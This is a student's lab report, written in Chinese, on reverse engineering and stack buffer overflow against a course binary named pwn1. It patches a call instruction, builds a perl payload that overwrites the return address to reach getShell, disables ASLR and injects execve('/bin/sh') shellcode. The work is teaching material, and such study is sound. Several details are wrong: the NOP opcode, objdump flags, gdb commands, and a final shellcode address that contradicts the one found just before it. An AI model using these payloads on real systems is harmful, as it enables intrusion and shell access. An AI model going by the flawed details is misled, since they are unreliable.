20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

《网络对抗技术》Exp1 PC平台逆向破解之“逆向及Bof基础实践说明” Week3

一、 实验预习

• 1、什么是漏洞？漏洞有什么危害？

漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点，攻击者可以对计算机系统进行攻击，从而达到一定的目的。漏洞威胁了计算机的系统安全，给攻击者有可乘之机，可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。

• 2、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码（以下为16进制）

NOP：91，空指令
JNE： 75，条件跳转，判断是否等于，若不等于则跳转
JE ：74，条件跳转，判断是否等于，若等于则跳转
JMP：E9，无条件转移
CMP：38~3D，比较两个数的大小

• 3、掌握反汇编与十六进制编程器
  • 反汇编指令参数

objdump -C：将底层的符号名解码成用户级名字，除了去掉所有开头
objdump -d 反汇编那些应该还有指令机器码的section
objdump -f 显示objfile中每个文件的整体头部摘要信息
objdump -h 显示目标文件各个section的头部摘要信息
objdump -i 显示对于 -b 或者 -m 选项可用的架构和目标格式列表
objdump -j name 仅仅显示指定section的信息
...
- 如何linux下使用16进制编辑器（参考博客）
使用VIM指令进入文件后，按下键，输入%!xxd再按回车，可以把文件中的内容转换为16进制显示；转换后，可以输入%!xxd -r再按回车转换回来。

二、实验内容

本次实验对象为名为pwn1的pwn1的linux可执行文件。程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

实验分为三部分：

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
• 注入一个自己制作的shellcode并运行这段shellcode。

三、实验步骤

• 实验开始前，先建立相应的文件夹，然后复制pwn1并重命名
  

步骤一：手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数

• 对文件“part1”进行反汇编：objdump -b part1 | more，得到part1的汇编语言表示,找到关于我们所要的函数跳转的部分：
  
• 我们针对上图进行相应的分析。
  • 1、可以看到，原本的函是在执行主函数时调用foo，也就是跳转到foo函数的首地址处。所以，我们要做的就是修改主函数中的跳转地址，使得程序跳转到getshell函数的首地址。
  • 2、主函数中有一条是call 8048491<foo>，这里8048491就是foo函数的首地址。这条指令的机器码部分是e8 d7 ff ff ff ，其中e8是指令call的机器码，后面的d7 ff ff ff是目的地址减去eip寄存器中地址的值，如果是负数要换算成补码。这里的e8 d7 ff ff ff是8048491-80484ba的结果换算成补码。为什么是减去80484ba而不是 80484b5呢？因为eip寄存器中存放的是下一条指令所在的地址。
  • 3、从图中我们可以看到，函数getshell的首地址是804847d。也就是说我们需要把804847d-80484ba的结果换算成补码，替换原来的e8 d7 ff ff ff 。计算结果是ff ff ff c3
• 接下来就是地址替换的过程
  • 1、使用vi进入“part1”，发现一堆乱码。
  • 2、输入:后，键入%!xxd，按回车，将文件内容转化为16进制表示
    
  • 3、输入/d7搜索d7出现的地方。观察一下d7前后，确定是我们要修改的地方。确认后按i进入编辑模式，把d7改为c3。
    
  • 4、输入:后，键入%!xxd -r将文件内容转化为原来的表示方式
  • 5、使用wq保存并推出文件
• 最后进行检验。在命令行中输入./part1执行part1，输入ls，发现执行结果是该目录下的文件名。说明修改成功。
  

步骤二：利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数

• 首先要知道，在“part2”中的main函数调用的是foo函数，foo函数在执行完后会返回，也就是指向main函数中调用foo函数这条指令的下一条指令。我们要做的是利用foo中的buf漏洞，覆盖返回地址，使得在输入参数后直接执行shellcode，而非foo函数。附上一张图能够更加清晰地了解这一概念。
  

• 对文件“part2”进行反汇编：objdump -b part2 | more，得到part2的汇编语言表示,找到关于我们所要的部分：
  

• 对上图进行分析，发现buf的长度是1c(十六进制）字节，再加上%ebp占用的4字节，结果转换成十进制是32字节。

• 使用gdb调试“part2”，验证是否32字节以外的内容会被写进%eip寄存器。

  • 1、在命令行输入gdb part2进入调试页面
  • 2、输入r开始运行，输入参数，然后输如info r进行查看
    
  • 3、看上图，看到%eip的值为0x35353535，0x35是5的ASCII码。这就说明了32字节以外的内容会被写进%eip寄存器

• 所以我们接下来要做的是在输入时，在32字节的内容后面加上getshell函数的首地址的ASCII码信息。从之前的截图可以知道其首地址为804847d，由于是小端序列，所以我们要输入的是32字节的内容+\x7d\x84\x04\x08。\x表示的是转换为ASCII码

  • 1、我们无法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以要使用指令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input先生成包括这个字符串的一个文件。\x0a表示回车。
  • 2、使用vi指令进入“input”文件。输入%!xxd转换为十六进制进行查看：
    
  • 3、使用cat和管道，在执行“part2”的同时把文件“input”中的内容作为参数输入：(cat input ;cat) | ./part2，再使用;s命令和pwd命令进行调试，可以看到结果。
    

步骤三： 注入Shellcode并执行

• 安装execstack
• 修改堆栈的设置

  execstack -s part3//设置堆栈可执行
  execstack -q part3//查询文件的堆栈是否可执行
  more /proc/sys/kernel/randomize_va_space //查看每次执行程序时堆栈位置是否移动
  echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
  more /proc/sys/kernel/randomize_va_space //关闭后查看结果

• 先构造一个shellcode语句,并且把这个语句写入到文件“input_3”中（参考老师的博客中给出的shellcode）：

perl -e 'print "A" x 32;printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00" '>input_3

• 上面的\x4\x3\x2\x1用来暂时表示shellcode代码的首地址，接下来我们要做的是寻找其真正的首地址

  • 1、在目前终端的命令行输入(cat input_3;cat) | ./part3
    

  • 2、输入ps -ef | grep part3来获得进程号。进程号为5013。（从这里就可以知道为什么在构造shellcode的时候不要有回车）
    

  • 3、打开另一终端，进入到实验文件所在目录，使用gbd进行调试。在gdb中输入attach 5013,再输入disassemble foo来查看注入内容的地址。
    

  • 4、在ret这一句设置断点：break *0x080484ae,然后切换至另一终端，按下回车

  • 5、使用info -r rsp来查看栈顶指针，为0xffd708ac。再输入x/16x 0xffd708ac查看指针指向的内容
    

  • 6、可以从上图看到，只要把0xffd708ac加上4就能得到shellcode的首地址为0xffd708b0

• 找到首地址后，切换终端，先终止当前进程。然后打开input_3将其修改为16进制表示后进行修改，把\x04\x03\x02\x01修改为\xb0\x08\xff\x7d再输入(cat input_3;cat) | ./part3，再输入ls进行验证。成功
  

四、心得体会

   本次实验内容虽然比较简单，但是我花了6个多小时来完成。对于实验内容中的每一步我都尽所能地去了解其中的原理，并把实验过程中所学到的都做了笔记，来巩固自己的记忆。总体来说收获还是很大的，这次实验让我学会了缓冲区溢出攻击的基本原理和一些简单的方式。这是我第一次接触到这样的实验，感觉很有趣，期待接下来的其他实验~并且期待自己经过不断的学习能够成为一名黑客，能够主动地对某些主机发动简单的攻击（当然不会是恶意的，会找同学互相尝试）。为了这一目标今后也会更加努力地学习。